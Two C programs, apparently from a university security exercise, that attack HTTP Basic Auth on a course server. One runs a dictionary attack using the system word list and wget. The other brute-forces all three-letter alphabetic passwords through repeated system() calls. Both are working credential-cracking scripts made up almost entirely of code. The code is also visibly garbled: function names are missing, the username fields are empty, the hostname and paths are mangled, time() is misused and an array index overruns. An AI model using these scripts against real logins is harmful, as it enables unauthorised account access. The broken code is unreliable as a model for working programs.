#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



char* joinMe(char* t, char* t2)
{
	char* result;
	int length = 0;
	int j = 0;
	int counter = 0;
	
	length = strlen(t) + strlen(t2) + 1;
	
	result = malloc(sizeof(char) * length);
	
	
	for(j = 0; j<strlen(t); j++)
	{
		result[j] = t[j];
	}

	
	for(j = strlen(t); j<length; j++)
	{
		result[j] = t2[counter];
		counter++;
	}
	
	
	result[length-1] = '\0';

	return result;
}


void check(char** smallcmd)
{
	int pid = 0;
	int status;

	
	if( (pid = fork()) == 0)
	{
		
		execvp(smallcmd[0],smallcmd);
	}
	else
	{
		
		while(wait(&status) != pid);
	}
}

int (void)
{
	int i = 0, j = 0, k = 0;
	char** smallcmd;
	int count = 0;
	FILE *myFile,*myFile2,*myFile3;
	int compare1;
	char* myString;
	int length = 0;
	int start1, end1;
	
	
	myString = malloc(sizeof(char) * 100);
	smallcmd = malloc(sizeof(char *) * 8);
	
	smallcmd[0] = "/usr/local//wget";
	
	smallcmd[1] = "--http-user=";
	smallcmd[2] = "--http-passwd=";
	smallcmd[3] = "-o";
	smallcmd[4] = "logwget";
	smallcmd[5] = "-nv";
	smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";

	
	printf("-------------now trying Dictonary force attack---------------\n");
	start1 = time();
	myFile = fopen("/usr/share/lib/dict/words","r");
	if(myFile != (FILE*) NULL)
	{
		while( fgets(myString,100,myFile) != NULL)
		{
			
			
			
			smallcmd[2] = joinMe(smallcmd[2],myString);
			length = strlen(smallcmd[2]);
			
			smallcmd[2][length-1] = '\0';
			printf("Checking : %s\n",smallcmd[2]);
			
			check(smallcmd);
			count++;
			
			myFile2 = fopen("logwget", "r");
			if (myFile2 != (FILE*) NULL)
			{
				
				fgets(myString,100,myFile2);
				printf("%s\n",myString);
				if( strcmp(myString,"Authorization failed.\n") != 0)
				{
					
					printf("Passwd = %s\n\n",smallcmd[2]);
					end1= time();
					
					myFile3 = fopen("log.txt","a");
					fprintf(myFile3,"%s",smallcmd[2]);
					
					fputs("\nTime taken by Dictionary Attack ",myFile3);
					compare1 = ((end1-start1)/1000000000);
					fprintf(myFile3,"%lld",compare1);
					fputs(" seconds\n",myFile3);
					fputs("this took ",myFile3);
					fprintf(myFile3,"%d",count);
					fputs(" attempts\n\n",myFile3);
					fclose(myFile3);
				}
				fclose(myFile2);
			}
			
			smallcmd[2] = "--http-passwd=";
		}
	}
	fclose(myFile);
	return 1;
}


#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  char url[80], url1[80];
  int i, j, k, syst = 1, nofattempts = 0;
  char c1, c2, c3, pass[4];
  int time_var,time1,time2, timeinsec;
  time1 = time();

  char itoa[52] = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";

  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");

  for (i = 1; i <= 52; i++)
  {
    for (j = 1; j <= 52; j++)
    {
      for (k = 1; k <= 52; k++)
      {
          fflush(stdin);
          c1 = itoa[i];
          c2 = itoa[j];
          c3 = itoa[k];
          pass[0] = c1;
          pass[1] = c2;
          pass[2] = c3;
    	  pass[3] = '\0';
          strcat(url, pass);
          strcat(url, url1);
	      ++nofattempts;
          syst = system(url);
          printf("%s\n",pass);
          if (syst == 0)
          {
            time2 = time();
            time_var = time2 - time1;
            timeinsec = time_var / 1000000000;
            printf("  Number of Attempts  is %d", nofattempts);
            printf("\n Found it! The Password is: %s\n", pass);
            printf("\n The time_var taken  crack the password by brute force is %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}
